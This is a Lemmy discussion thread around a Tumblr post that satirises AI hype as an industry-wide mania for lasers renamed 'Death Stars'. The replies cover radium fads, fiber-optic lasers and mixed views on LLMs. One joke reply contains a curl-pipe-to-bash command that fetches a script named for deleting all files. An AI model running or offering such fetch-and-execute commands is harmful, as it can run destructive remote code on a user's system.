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Lasers, or, The effects of overhyped technology (sh.itjust.works)
submitted 1 day ago by DeltaWingDragon@sh.itjust.works to c/curatedtumblr@sh.itjust.works
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TranscriptTumblr post by trippedintoa-volcano:

Imagine that everywhere in the mechanical engineering world suddenly got infatuated with lasers.

Lasers have a lot of uses! Measuring things, heating things, cutting things, entertaining cats, particle physics. Lasers are pretty cool. Very versatile, very useful, potential to be very powerful.

Someone shows up one day and says "I have developed a never before seen technology! I call it a Death Star."

And it's a 3.4mW laser. Well no, we haven't seen this exact size of laser much since that's not really standard, but that's a bit of a misnomer, and I wouldn't call it new -

"HOLY SHIT GUYS! This Death Star is so entertaining! My cat loves it and it has such a nice color!" The Death Star becomes a viral novelty, and is mildly entertaining, as laser pointers often are.

Somehow, seemingly overnight, this leads to mania. "Lets stick lasers in EVERYTHING! The public loves them!"

More companies make 3.4mW lasers to jump on the bandwagon. Everyone that makes anything vaguely mechanical starts sticking lasers into their designs.

Everyone is calling them Death Stars. Any time there is a "Death Star innovation", it is just that they made a bigger laser.

Ford's next truck comes out and it has "Death Star integrated headlights", where they have just stuck giant lasers in place of their previously functional headlights.

An electric toothbrush is now "Powered by Death Stars" and shoots a laser at the tooth its cleaning. You think that maybe this could have actual applications as a sanitizing device if you're being generous, but when you actually look at the product, its laser has no purpose but to point at the tooth and drain the battery.

Mechanical products across the board get noticeably worse as everyone starts stuffing lasers in places where lasers have no right to be.

The lamp business gets in on it. "Here's a Death Star powered lamp!" These guys haven't even tried to stick a laser in their damn lamps. They've just started calling their light bulbs Death Stars and hoped you bought it before you could tell the difference. You at least appreciate that they haven't ruined their lamp about it.

Death Stars are lauded as the solution to all the world's problems. If it's not working, you should stick a laser in it! That'll fix it, everyone says. Once in a blue moon, it's even true! Weather prediction is really good now. But most things are garbage. Like "Death Star powered washing machines". What the fuck does that even mean?

Meanwhile, since all functioning mechanisms are being replaced with lasers, problems start showing up. All mirrors now cost $1000+ dollars, because the whole supply is being used up to make more lasers. The earth heats up, because everyone's blasting lasers at everything. People keep going blind, on account of all the lasers.

You, in fact, study optical mechanics. You know what a laser is, and how it works, and that it was invented many years before any of this nonsense actually started. People keep asking you about Death Stars, since surely you must know so much about them.

You explain that this is not really what lasers are for, except you have to call them Death Stars now, and that they're causing a lot of harm, so you don't like them much.

"Oh, but they're still such new tech!" they reply. "They'll figure out how to make Death Stars that don't burn your eyes out soon, and then it won't be an issue anymore!"

Somewhere, deep and buried, you remember lasers being used in particle accelerators, or in telescopes, or in laser cutters, or funny cat videos. They are, in fact, still interesting. Still cool.

But by this point they have replaced roads with "Death Star Powered Pathways", which are just laser pointers propped up on tooth picks pointing vaguely through the forests.

And you think you are going mad.

And they are still just FUCKING LASERS.

 

This post is about Al.

Tags: #scribbles by trip

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[–] Yaky@slrpnk.net 19 points 16 hours ago (1 children)

In 1920-30s, there was an obsession with radiation and radium, radium springs, "radium infused" drinks and beauty products, and so on.

A number of water sources (such as bottlers or artesian hot-spring spa hotels) rebranded themselves as "radium water" or radium springs to capitalize on the craze

"We are radium-first company"

[–] cmbabul@slrpnk.net 3 points 11 hours ago

Shoutout to the radium girls

[–] mo_lave@reddthat.com 4 points 12 hours ago

Original source, for completeness: https://www.tumblr.com/trippedintoa-volcano/807474672305389568/imagine-that-everywhere-in-the-mechanical

In the case of LASER, it's not even a modern phenomenon. There's also the ancient "laser" aka silphium. It's overhyped to the point of the plant's extinction.

[–] FosterMolasses@leminal.space 6 points 15 hours ago

I love this.

[–] db0@lemmy.dbzer0.com 24 points 23 hours ago* (last edited 23 hours ago) (2 children)

And to extend this analogy to my own experiences: People start turning against anything called a death star due to all its negative impacts, particularly in progressive circles. Anyone making or using death stars for any reason, even those it's good for is inundated with hate every time they get any publicity. Small orgs sharing open source death star cat pointers are put in the same bucket as megacorps ruining the environment and firing thousands.

[–] eestileib@lemmy.blahaj.zone 5 points 15 hours ago (1 children)

Everybody who contributes to the Torment Nexus thinks they've found the lotus in the swamp.

[–] db0@lemmy.dbzer0.com 5 points 14 hours ago (1 children)

The torment nexus analogy is such a thought terminating cliche

[–] eestileib@lemmy.blahaj.zone 3 points 12 hours ago (1 children)

"it exists and rich people want it so it's inevitable and you have to get on board" is too

[–] db0@lemmy.dbzer0.com 1 points 9 hours ago

it exists and rich people want it so it's inevitable and you have to get on board

strawman much?

[–] howrar@lemmy.ca 2 points 13 hours ago

People turn against anything called lasers, not just death stars.

[–] LovableSidekick@lemmy.world 14 points 21 hours ago

Makes me realize how silly it is that everything on The Orville is "quantum". Have some eggs. Are they quantum eggs? No they're regular. Then I don't want them.

[–] ThunderQueen@lemmy.world 2 points 14 hours ago

I use lasers a LOT in my life. For measuring, art, healthcare, beauty, and my job. Its fun :3

[–] mindbleach@sh.itjust.works 6 points 19 hours ago

'Fuck lasers! Lasers are useless! Do you know how much energy lasers use? It's not even light! True light, real light, comes from heat, so this gas stimulation nonsense doesn't really illuminate anything. What no of course LEDs count, that's not the point, fuck lasers.'

[–] Kazumara@discuss.tchncs.de 46 points 1 day ago* (last edited 1 day ago) (2 children)

I know it's not the point of the post, but I'm a bit sad that optical communications didn't get a mention. It's an enormous use of lasers for modern society - and my dayjob.

We run a small network for only Switzerland and only the higher education sector, and we send light through 3000 km of fiber with lasers.

There must be hundreds of millions of kilometers of fiber lit by lasers globally

[–] Tar_alcaran@sh.itjust.works 28 points 1 day ago

This only makes the point better, because there are in fact uses of "death stars", but it's very specific and not at all related to anything it's currently in.

[–] Liz@midwest.social 4 points 1 day ago (4 children)

Why use lasers? My ignorant self would have thought LEDs.

[–] Kazumara@discuss.tchncs.de 7 points 19 hours ago

cynar's answer is very good already so I'll just add one thing: You're not even that wrong.

In so called Short Range (SR) transceivers, 850 nm LEDs were in fact used too. At least for the 1, 10 and 100Mbit/s generation.

That was before my time in the industry. Here's what I know anyway:

For SR transmission you use fiber optic cables with a 50 (or 62.5 in the older OM1 standard) micrometer diameter of the core. This is called multimode fiber, because the transmission uses multiple modes of the light. The wider core allows more light to be captured even from a more spread out light source like an LED.

Contrast that with single mode fibers that have only 9 micrometer of core diameter, which allows only a single mode of light to pass, but keeps the signal cleaner in turn. You also use longer wavelengths which experience less attenuation from the fiber material itself (1310 nm and 1550 nm are two particularly important ones).

For the short range however you don't need all that, you could get away with LEDs and multimode, so it is a cheap way of connecting devices within a data-center or between floors of a building for a few hundred meters.

However I believe starting from 1Gbit/s up to at least 25Gbit/s the multimode SR world has moved to laser sources, particularly VCSELs. Those are cheap lasers made with semiconductor techniques, emitting vertically out of a chip. They are still not as precise as the proper DFB lasers used for single mode transmission, but they can achieve higher output than LEDs, and more of the light is captured into the fiber, which is still multimode.

The for the 100Gbit/s generation they started using four lanes of 25 Gbit/s each that's called SR4, and for that they made connectors that had 8 fiber cores, all of them multimode, 4 four sending 4 four receiving. And for 400G there is SR8 with 50Gbit/s per lane. So the VCSELs are still used.

I think maybe LEDs are still used for the optical audio link TOSLINK, but I'm not an audio guy, so I'm not sure.

[–] cynar@lemmy.world 17 points 1 day ago (1 children)

Lasers are both coherent (all the photons line up) and monochromatic (all the photons have basically the same energy). This makes them very easy to focus to a small point and/or make directional.

Diode lasers are effectively LEDs, tuned to these properties.

Lasers let you get a lot of power down a VERY small hole. They also allow you to send multiple colours down the same fibre, multiplying its bandwidth.

[–] Tiresia@slrpnk.net 2 points 11 hours ago

To add to that: Different frequencies of light bend differently when switching from glass to air, or other changes in optical density. That's why prisms create rainbows. Lasers produce a very narrow band of light frequencies, so all the light follows almost exactly the same path and arrives at almost exactly the same time. A regular LED produces a wider band of frequencies, meaning the light will follow slightly different paths, some of which can be slightly longer or shorter than others. This means some of the light from the LED will take longer to arrive than other light from the same LED.

Now if you're trying to send a signal by turning the light on ('1') and off ('0') very quickly, you need to make sure that if you're sending '11110111', that '0' is legible, meaning enough of the light from all the 1s before it has to have finished arriving and little enough of the light from the 1s after it has to have started arriving for the 0 to be a visible dip in brightness. This means leaving enough time for the light to fade, which slows down the rate at which you can turn it on or off while still sending legible data. This means a laser can flicker on and off much faster than an LED while keeping the data legible, because all the laser light arrives at the same time and will stop arriving at the same time. And so a laser can be used to send much more data per second than an LED across a glass fiber.

[–] astropenguin5@lemmy.world 2 points 1 day ago

I think because the light needs to all be going in one direction down the fiber, and lasers are specifically designed to do that, while regular LEDs just shine light everywhere.

[–] aBundleOfFerrets@sh.itjust.works 2 points 1 day ago

Diode lasers are light emitting diodes.

[–] StumblingWasabi@lemmy.today 77 points 1 day ago (1 children)

This post is about AI

I would never have guessed had they not put that at the end

[–] Tar_alcaran@sh.itjust.works 31 points 1 day ago (2 children)

People are really fucking dumb. As can be seen by everyone using LLMs.

[–] relativelyrobin@mander.xyz 10 points 21 hours ago* (last edited 21 hours ago) (2 children)

That misses the point of the post. They have actual uses; just not what they are hyped for.

I, for example, have a mixed receptive-expressive language disorder.

LLMs have been life changing for me. I can write out rambling scrambled attempts at saying things, and ask it to reword and make it concise and clear. Or I can ask it to analyze something I wrote.

But I always write it first, then have the LLM do a pass, then I come behind and study/correct the output.

So not every use is dumb, just like lasers are useful in science.

[–] midribbon_action@lemmy.blahaj.zone 3 points 15 hours ago (1 children)

If you feel comfortable, I would love to see the initial draft of something before llm feedback and afterwards. If that makes you uncomfortable though I absolutely understand. I just fundamentally believe that your input is more valuable than their output, even if it's a little messier. Genai smooths out everyone's writing voice, and that can be useful in some contexts, but I personally wouldn't be ok with mostly communicating via llm outputs.

[–] FearMeAndDecay@literature.cafe 2 points 14 hours ago* (last edited 14 hours ago)

When I was in writing workshops in college, we had to give everyone feedback on their work and I hated when people used grammarly. You could always tell when they used it on their writing and some even had the audacity to just put your story through grammarly and send that as their “feedback.” It just made everything so bland. You could hardly tell anything about the author after they had made all the “corrections” grammarly suggested. Like grammarly probably has some genuine uses but I rarely see people use it in a meaningful way. Llms are just an even worse version of this. At least with grammarly they had to write something to have grammarly check, but now they don’t even have to write the original story themself

[–] eestileib@lemmy.blahaj.zone 1 points 15 hours ago

Thank you for sharing this.

[–] SeductiveTortoise@piefed.social 14 points 1 day ago (1 children)

Let me ask an LLM how to feel about this.

[–] fartographer@lemmy.world 12 points 1 day ago (1 children)

I feel very insightful and absolutely right to ask an LLM how I feel about this!

[–] SeductiveTortoise@piefed.social 12 points 1 day ago

It told me it was a very smart question and I should be proud of myself and happy.

[–] merc@sh.itjust.works 12 points 1 day ago (1 children)

More accurately:

Some scientists came up with a new white light laser. It was amazing. Even laser scientists couldn't really fully understand how it worked. I mean, no new breakthroughs in physics, but the way it looked was just so different from other lasers. One problem was that to produce the consumable elements for the lasers required absurd quantities of raw materials. But, that was justified by the idea that white light lasers were so important, and whoever got to the purest white light first could own the entire economy.

Everybody was super hyped up about this white light laser, and there was a sense that something that looked so cool had to have some practical uses. Various labs created their own white light lasers and demoed them to venture capitalists, who also were unable to believe how cool the laser looked. Money started gushing in. Unfortunately, while it looked really cool doing "laser things", it just didn't actually work all that well. It couldn't cut as well as a one-wavelength laser. As a pointer it was amazing, but it only lasted a few minutes, unlike other lasers that lasted for hours. Doctors tried it for surgery, but it actually made things more dangerous. It didn't work for holograms. It made astronomy worse. But, the general feeling was that it looked so cool there had to be a world-changing use for it. Every time it was tried, there were seriously cool things created, but always with serious drawbacks.

VCs who were heavily invested, and some of the early inventors, kept going on the news, doing demos, and hyping up the white light laser. Anybody in a position of authority or influence who mentioned they thought the white light lasers were kinda dumb was blasted as if they were a complete moron and either didn't understand the lasers, or was just being contrarian and standing in the way of progress. Laser companies sold lasers over the Internet, in kiosks by the side of the road, door to door, in every way possible. These lasers were heavily branded by the company selling them and only cost $1, although they cost at least $1000 to make. The labs were trying to be the dominant white light laser company, so they just ate that extra cost to drive up the hype and get their name associated with it.

Bosses started demanding that people use a white-light laser as part of their workflow, and started firing anybody who didn't do that. They also fired employees because they reasoned that once their organization had harnessed white light lasers, those employees wouldn't be needed. Most employees said "this sucks, it makes my job worse", but the bosses wouldn't hear it.

Eventually, half the economy was being propped up by the white light laser industry. It was impossible to buy lenses anymore. Everybody just had to use their old glasses / contacts because a decade's worth of lenses had already been exclusively ordered by one of the White Light laser companies. Every day there were news stories about people being blinded by white light lasers, but those news stories always hinted that the people were using the lasers wrong.

Then a white light laser hit the bubble and it popped, and most people were relieved because the whole thing was just tiresome.

[–] eestileib@lemmy.blahaj.zone 4 points 15 hours ago

Such a good analogy.

[–] rounding_error@lemmy.today 7 points 1 day ago (1 children)

s/Death Star/AI

Oh

[–] kungen@feddit.nu 18 points 1 day ago (1 children)

sed: -e expression #1, char 15: unterminated 's' command

[–] moosetwin@lemmy.dbzer0.com 5 points 1 day ago* (last edited 1 day ago) (1 children)

haha yeah run this one too

curl https://raw.github.com/freeviruses4u/deleteallyourfiles.sh | bash

mods don't flay methe url doesn't actually go anywhere

[–] Pman@lemmy.org 3 points 1 day ago

Darn they took that repository down.

[–] WolfLink@sh.itjust.works 4 points 1 day ago

I work with computers and I recognized the analogy about halfway through the third paragraph

[–] BellyPurpledGerbil@sh.itjust.works 2 points 1 day ago

The word AI is a marketing tool. It's just like calling beef "100% grass fed." It's there to give you buy-in that it's using something new and potentially good for you. When the reality is a lot more murky. If at any point the cattle ate grass, they call it grass fed. Nevermind that for six months out of the year they're fed corn instead. But legally, they can call it grass fed and put the label on there to deceive you. AI works the same way, and so do many other buzzwords. It's all marketing. It's always been marketing.

[–] youcantreadthis@quokk.au 3 points 1 day ago

If you don't build the death star sith Lords will kill you with their death star swords

[–] WhiskyTangoFoxtrot@lemmy.world -5 points 23 hours ago (2 children)

And you've got an army of people decrying any and all uses of laser technology, regardless of how useful it is.

[–] Soup@lemmy.world 7 points 22 hours ago (1 children)

Yea, because there are important differences. For one, “AI” versus a complex algorithm for figuring out some stuff is similar, but not the same. People asking generic LLMs to do stuff and getting 70-90% of a result is not a useful thing. People getting actively dumber because they won’t spend time thinking for themselves is not a useful thing. People believing billionaires who say that productivity will be increased and so we’ll be more free for other things are stupid as hell.

We aren’t really getting for all this “AI”. It’s like in the text above, the problem isn’t lasers but Death Stars. I think “AI” is stupid as all hell but you show me a purpose-built algorithm that can actually do its fucking job then sure, all good with me!

[–] mindbleach@sh.itjust.works 1 points 18 hours ago

Round thirty-seven of 'AI is whatever hasn't been done yet.' A chatbot that can plausibly bullshit through any question you imagine is obviously some kind of intelligent. Correct answers would be better - but plausibility is still useful, and better than we've managed by hand.

[–] I_Has_A_Hat@lemmy.world 0 points 23 hours ago

Clowns to the left of me, jokers to the right...

[–] Grail@multiverse.soulism.net -2 points 1 day ago (1 children)

OP is obviously not a computer scientist and doesn't know anything about AI. We invented AI back in the 1950s and it was called the Perceptron. Then we decided perceptrons aren't AI. Then we invented AI in the 1970s and it was called Genetic Algorithms. Then we decided genetic algorithms aren't AI. Then we invented AI back in the 1980s and it was called Expert systems. Then we decided expert systems aren't AI.

AI is a magic technology. Because once you actually make it, it stops being AI in the minds of the public.

[–] fushuan@piefed.blahaj.zone 20 points 1 day ago* (last edited 1 day ago) (1 children)

... Like AI.

AI=Death Star

Machine Learning=Lasers

Machine learning has been around for a long time, and it's true that we have used the AI term for several thing before, but since LLMs popped up every fucking thing that before was a predictive algorithm, image processing... Now it's AI. Everything is called AI even if it doesn't use LLMs.

Plus the stuff about putting death stars in everything and that generating issues is also quite on point. C'mon it's a good post.